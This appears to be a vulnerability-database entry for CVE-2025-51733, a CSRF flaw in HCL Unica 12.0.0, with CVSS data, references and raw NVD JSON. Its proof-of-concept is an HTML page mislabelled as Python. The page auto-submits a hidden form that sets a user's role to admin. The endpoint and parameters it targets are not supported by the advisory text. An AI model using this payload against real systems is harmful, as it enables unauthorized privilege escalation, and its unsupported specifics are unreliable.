CVE-2025-51733

Description

Cross-Site Request Forgery (CSRF) vulnerability in HCL Technologies Ltd. Unica 12.0.0.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:hcltech:unica:12.0.0:*:*:*:*:*:*:* - VULNERABLE

HCL Unica 12.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-51733: HCL Unica 12.0.0 -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Test - CVE-2025-51733</title>
</head>
<body>
    <h1>CSRF Vulnerability Test</h1>
    <p>This is a proof-of-concept for CVE-2025-51733</p>
    
    <!-- Auto-submit form targeting HCL Unica endpoint -->
    <form id="csrfForm" action="https://target-unica-server/ua/console/security/user/modify" method="POST" style="display:none;">
        <input type="hidden" name="userId" value="12345">
        <input type="hidden" name="role" value="admin">
        <input type="hidden" name="action" value="updatePermissions">
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.addEventListener('DOMContentLoaded', function() {
            document.getElementById('csrfForm').submit();
            console.log('CSRF request sent');
        });
    </script>
    
    <p>If successful, the form will submit a forged request to HCL Unica.</p>
    <p>Target: HCL Unica 12.0.0 (Unica Platform)</p>
    <p>Vulnerability: Missing CSRF Token validation</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-51733
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-51733
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-51733/
[4] VulDB https://vuldb.com/cve/CVE-2025-51733
[5] https://gist.github.com/ikpehlivan/4361fa808e04d884e4771be88e891ec2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-51733", "sourceIdentifier": "[email protected]", "published": "2025-11-28T15:16:01.140", "lastModified": "2025-12-02T20:56:42.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in HCL Technologies Ltd. Unica 12.0.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:unica:12.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "C7E79CAB-2508-4CBD-A075-BEEE2B503C30"}]}]}], "references": [{"url": "https://gist.github.com/ikpehlivan/4361fa808e04d884e4771be88e891ec2", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}